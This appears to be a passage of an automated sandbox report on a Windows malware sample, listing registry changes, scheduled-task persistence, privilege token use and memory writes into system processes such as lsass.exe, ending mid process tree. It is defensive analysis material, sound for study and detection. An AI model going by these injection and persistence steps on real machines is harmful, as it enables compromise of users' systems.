Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\85d1ed9c-30b5-4635 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000b2d2b4a4038bdb019f6c0fa5038bdb019f6c0fa5038bdb01620809000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000615a59bd2000363939336439623939363234323661353730646464613331396262343864353338633339323837626266323266646638373031643837656437336335363566300000b20009000400efbe615a59bd615a59bd2e00000000000000000000000000000000000000000000000000d67f3b00360039003900330064003900620039003900360032003400320036006100350037003000640064006400610033003100390062006200340038006400350033003800630033003900320038003700620062006600320032006600640066003800370030003100640038003700650064003700330063003500360035006600300000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000804be95f1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c36393933643962393936323432366135373064646461333139626234386435333863333932383762626632326664663837303164383765643733633536356630000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000656d6e6269686a6b000000000000000072b8bf6ffc53424ca58579f579a8f724b34e5c7949edef11bd36ca53edaaaaec72b8bf6ffc53424ca58579f579a8f724b34e5c7949edef11bd36ca53edaaaaecd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0032003200370038003400310032003400330038002d0033003400370035003100390036003400300036002d0033003600380036003400330034003200320033002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000cad1f625000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d227804d-573f-4b43	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\4b40d73e-c3b1-417a	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\977530f8-7c6a-4f4e	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\26440962-2533-4759	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\977530f8-7c6a-4f4e = "\\\\?\\Volume{25F6D1CA-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\8c78d2135c38bbc3664544fb1dcb408e9ae209dbd4170b705136c4a5c4410e82"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\26440962-2533-4759 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000b12385a4038bdb01b12385a4038bdb01b12385a4038bdb01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000615a59bd2000373766613562363833356135306530336363346533636332653263326330336131623333326335616437353465636438363937336635376466346336343162640000b20009000400efbe615a59bd615a59bd2e000000000000000000000000000000000000000000000000004f951000370037006600610035006200360038003300350061003500300065003000330063006300340065003300630063003200650032006300320063003000330061003100620033003300320063003500610064003700350034006500630064003800360039003700330066003500370064006600340063003600340031006200640000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000804be95f1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c37376661356236383335613530653033636334653363633265326332633033613162333332633561643735346563643836393733663537646634633634316264000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000656d6e6269686a6b000000000000000072b8bf6ffc53424ca58579f579a8f724b04e5c7949edef11bd36ca53edaaaaec72b8bf6ffc53424ca58579f579a8f724b04e5c7949edef11bd36ca53edaaaaecd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0032003200370038003400310032003400330038002d0033003400370035003100390036003400300036002d0033003600380036003400330034003200320033002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000cad1f625000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\95f13099-9e70-493b = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000000b48caa4038bdb018f9235a5038bdb018f9235a5038bdb016ba804000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000615a59bd2000306233653138346265333139363165656366663736353463666431613464653530666430616366393062366262636165393766656435306365343466626130310000b20009000400efbe615a59bd615a59bd2e000000000000000000000000000000000000000000000000002b462100300062003300650031003800340062006500330031003900360031006500650063006600660037003600350034006300660064003100610034006400650035003000660064003000610063006600390030006200360062006200630061006500390037006600650064003500300063006500340034006600620061003000310000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000804be95f1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c30623365313834626533313936316565636666373635346366643161346465353066643061636639306236626263616539376665643530636534346662613031000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000656d6e6269686a6b000000000000000072b8bf6ffc53424ca58579f579a8f724b54e5c7949edef11bd36ca53edaaaaec72b8bf6ffc53424ca58579f579a8f724b54e5c7949edef11bd36ca53edaaaaecd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0032003200370038003400310032003400330038002d0033003400370035003100390036003400300036002d0033003600380036003400330034003200320033002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000cad1f625000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\182a0024-28e1-4b10 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000c620c3a4038bdb019aca6ea5038bdb019aca6ea5038bdb0182f10c000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000615a59bd2000373766613562363833356135306530336363346533636332653263326330336131623333326335616437353465636438363937336635376466346336343162640000b20009000400efbe615a59bd615a59bd2e000000000000000000000000000000000000000000000000004f951000370037006600610035006200360038003300350061003500300065003000330063006300340065003300630063003200650032006300320063003000330061003100620033003300320063003500610064003700350034006500630064003800360039003700330066003500370064006600340063003600340031006200640000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000804be95f1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c37376661356236383335613530653033636334653363633265326332633033613162333332633561643735346563643836393733663537646634633634316264000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000656d6e6269686a6b000000000000000072b8bf6ffc53424ca58579f579a8f724b74e5c7949edef11bd36ca53edaaaaec72b8bf6ffc53424ca58579f579a8f724b74e5c7949edef11bd36ca53edaaaaecd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0032003200370038003400310032003400330038002d0033003400370035003100390036003400300036002d0033003600380036003400330034003200320033002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000cad1f625000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d7582274-2c2c-4ddd = "\\\\?\\Volume{25F6D1CA-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\6993d9b9962426a570ddda319bb48d538c39287bbf22fdf8701d87ed73c565f0"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d227804d-573f-4b43	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d227804d-573f-4b43 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\4b40d73e-c3b1-417a = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\51841595-95e6-43b5 = 3e410ca5038bdb01	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\95f13099-9e70-493b	RuntimeBroker.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1748	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3336	powershell.exe
3336	powershell.exe
408	powershell.exe
408	powershell.exe
784	FMyUS.eXe
784	FMyUS.eXe
784	FMyUS.eXe
784	FMyUS.eXe
4328	PdHGtqQL.exe
4328	PdHGtqQL.exe
4328	PdHGtqQL.exe
4328	PdHGtqQL.exe
2428	powershell.EXE
2428	powershell.EXE
2428	powershell.EXE
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
3252	powershell.exe
3252	powershell.exe
3252	powershell.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4540	powershell.exe
4540	powershell.exe
4604	dllhost.exe
4604	dllhost.exe
4540	powershell.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe
2400	powershell.exe
2400	powershell.exe
4652	powershell.exe
4652	powershell.exe
4604	dllhost.exe
4604	dllhost.exe
4652	powershell.exe
2400	powershell.exe
4604	dllhost.exe
4604	dllhost.exe
4604	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3336	powershell.exe
Token: SeDebugPrivilege	408	powershell.exe
Token: SeDebugPrivilege	784	FMyUS.eXe
Token: SeDebugPrivilege	4328	PdHGtqQL.exe
Token: SeDebugPrivilege	1236	svOrbEl0.exe
Token: SeDebugPrivilege	2428	powershell.EXE
Token: SeDebugPrivilege	2428	powershell.EXE
Token: SeDebugPrivilege	4604	dllhost.exe
Token: SeDebugPrivilege	3252	powershell.exe
Token: SeShutdownPrivilege	3428	Explorer.EXE
Token: SeCreatePagefilePrivilege	3428	Explorer.EXE
Token: SeDebugPrivilege	4540	powershell.exe
Token: SeShutdownPrivilege	3428	Explorer.EXE
Token: SeCreatePagefilePrivilege	3428	Explorer.EXE
Token: SeDebugPrivilege	2400	powershell.exe
Token: SeDebugPrivilege	4652	powershell.exe
Token: SeShutdownPrivilege	3428	Explorer.EXE
Token: SeCreatePagefilePrivilege	3428	Explorer.EXE
Token: SeShutdownPrivilege	3428	Explorer.EXE
Token: SeCreatePagefilePrivilege	3428	Explorer.EXE
Token: SeDebugPrivilege	1052	powershell.exe
Token: SeDebugPrivilege	3868	powershell.exe
Token: SeShutdownPrivilege	3428	Explorer.EXE
Token: SeCreatePagefilePrivilege	3428	Explorer.EXE
Token: SeShutdownPrivilege	3428	Explorer.EXE
Token: SeCreatePagefilePrivilege	3428	Explorer.EXE
Token: SeShutdownPrivilege	3424	svchost.exe
Token: SeCreatePagefilePrivilege	3424	svchost.exe
Token: SeAuditPrivilege	2744	svchost.exe
Token: SeShutdownPrivilege	3024	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3024	mousocoreworker.exe
Token: SeShutdownPrivilege	3024	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3024	mousocoreworker.exe
Token: SeShutdownPrivilege	3024	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3024	mousocoreworker.exe
Token: SeShutdownPrivilege	3904	RuntimeBroker.exe
Token: SeShutdownPrivilege	3024	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3024	mousocoreworker.exe
Token: SeShutdownPrivilege	3904	RuntimeBroker.exe
Token: SeShutdownPrivilege	3024	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3024	mousocoreworker.exe
Token: SeAssignPrimaryTokenPrivilege	2332	svchost.exe
Token: SeIncreaseQuotaPrivilege	2332	svchost.exe
Token: SeSecurityPrivilege	2332	svchost.exe
Token: SeTakeOwnershipPrivilege	2332	svchost.exe
Token: SeLoadDriverPrivilege	2332	svchost.exe
Token: SeSystemtimePrivilege	2332	svchost.exe
Token: SeBackupPrivilege	2332	svchost.exe
Token: SeRestorePrivilege	2332	svchost.exe
Token: SeShutdownPrivilege	2332	svchost.exe
Token: SeSystemEnvironmentPrivilege	2332	svchost.exe
Token: SeUndockPrivilege	2332	svchost.exe
Token: SeManageVolumePrivilege	2332	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2332	svchost.exe
Token: SeIncreaseQuotaPrivilege	2332	svchost.exe
Token: SeSecurityPrivilege	2332	svchost.exe
Token: SeTakeOwnershipPrivilege	2332	svchost.exe
Token: SeLoadDriverPrivilege	2332	svchost.exe
Token: SeSystemtimePrivilege	2332	svchost.exe
Token: SeBackupPrivilege	2332	svchost.exe
Token: SeRestorePrivilege	2332	svchost.exe
Token: SeShutdownPrivilege	2332	svchost.exe
Token: SeSystemEnvironmentPrivilege	2332	svchost.exe
Token: SeUndockPrivilege	2332	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1696	Conhost.exe

Suspicious use of UnmapMainImage 2 IoCs

pid	Process
3928	RuntimeBroker.exe
3428	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4932 wrote to memory of 1052	4932	cmd.exe	86
PID 4932 wrote to memory of 1052	4932	cmd.exe	86
PID 4932 wrote to memory of 4020	4932	cmd.exe	87
PID 4932 wrote to memory of 4020	4932	cmd.exe	87
PID 4932 wrote to memory of 1504	4932	cmd.exe	88
PID 4932 wrote to memory of 1504	4932	cmd.exe	88
PID 4932 wrote to memory of 4464	4932	cmd.exe	89
PID 4932 wrote to memory of 4464	4932	cmd.exe	89
PID 4932 wrote to memory of 4620	4932	cmd.exe	90
PID 4932 wrote to memory of 4620	4932	cmd.exe	90
PID 4932 wrote to memory of 3964	4932	cmd.exe	91
PID 4932 wrote to memory of 3964	4932	cmd.exe	91
PID 4932 wrote to memory of 1148	4932	cmd.exe	92
PID 4932 wrote to memory of 1148	4932	cmd.exe	92
PID 4932 wrote to memory of 4860	4932	cmd.exe	93
PID 4932 wrote to memory of 4860	4932	cmd.exe	93
PID 4932 wrote to memory of 3132	4932	cmd.exe	94
PID 4932 wrote to memory of 3132	4932	cmd.exe	94
PID 4932 wrote to memory of 3336	4932	cmd.exe	95
PID 4932 wrote to memory of 3336	4932	cmd.exe	95
PID 3336 wrote to memory of 408	3336	powershell.exe	98
PID 3336 wrote to memory of 408	3336	powershell.exe	98
PID 3336 wrote to memory of 784	3336	powershell.exe	100
PID 3336 wrote to memory of 784	3336	powershell.exe	100
PID 3336 wrote to memory of 784	3336	powershell.exe	100
PID 784 wrote to memory of 4328	784	FMyUS.eXe	101
PID 784 wrote to memory of 4328	784	FMyUS.eXe	101
PID 3336 wrote to memory of 1236	3336	powershell.exe	102
PID 3336 wrote to memory of 1236	3336	powershell.exe	102
PID 3336 wrote to memory of 4380	3336	powershell.exe	105
PID 3336 wrote to memory of 4380	3336	powershell.exe	105
PID 3336 wrote to memory of 4380	3336	powershell.exe	105
PID 2428 wrote to memory of 4604	2428	powershell.EXE	110
PID 2428 wrote to memory of 4604	2428	powershell.EXE	110
PID 2428 wrote to memory of 4604	2428	powershell.EXE	110
PID 2428 wrote to memory of 4604	2428	powershell.EXE	110
PID 2428 wrote to memory of 4604	2428	powershell.EXE	110
PID 2428 wrote to memory of 4604	2428	powershell.EXE	110
PID 2428 wrote to memory of 4604	2428	powershell.EXE	110
PID 2428 wrote to memory of 4604	2428	powershell.EXE	110
PID 4604 wrote to memory of 612	4604	dllhost.exe	5
PID 4604 wrote to memory of 672	4604	dllhost.exe	7
PID 4604 wrote to memory of 952	4604	dllhost.exe	12
PID 672 wrote to memory of 2164	672	lsass.exe	39
PID 4604 wrote to memory of 336	4604	dllhost.exe	13
PID 4604 wrote to memory of 388	4604	dllhost.exe	14
PID 4604 wrote to memory of 920	4604	dllhost.exe	15
PID 4604 wrote to memory of 1068	4604	dllhost.exe	17
PID 4604 wrote to memory of 1088	4604	dllhost.exe	18
PID 4604 wrote to memory of 1160	4604	dllhost.exe	19
PID 4604 wrote to memory of 1212	4604	dllhost.exe	20
PID 4604 wrote to memory of 1308	4604	dllhost.exe	21
PID 4604 wrote to memory of 1324	4604	dllhost.exe	22
PID 4604 wrote to memory of 1412	4604	dllhost.exe	23
PID 4604 wrote to memory of 1432	4604	dllhost.exe	24
PID 4604 wrote to memory of 1456	4604	dllhost.exe	25
PID 4604 wrote to memory of 1488	4604	dllhost.exe	26
PID 4604 wrote to memory of 1560	4604	dllhost.exe	27
PID 4604 wrote to memory of 1596	4604	dllhost.exe	28
PID 4604 wrote to memory of 1656	4604	dllhost.exe	29
PID 4604 wrote to memory of 1708	4604	dllhost.exe	30
PID 4604 wrote to memory of 1808	4604	dllhost.exe	31
PID 4604 wrote to memory of 1832	4604	dllhost.exe	32
PID 4604 wrote to memory of 1904	4604	dllhost.exe	33

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:336
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{044d5863-2f1e-475c-8450-b49d013e28e2}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4604

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:388

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:920

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1160
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
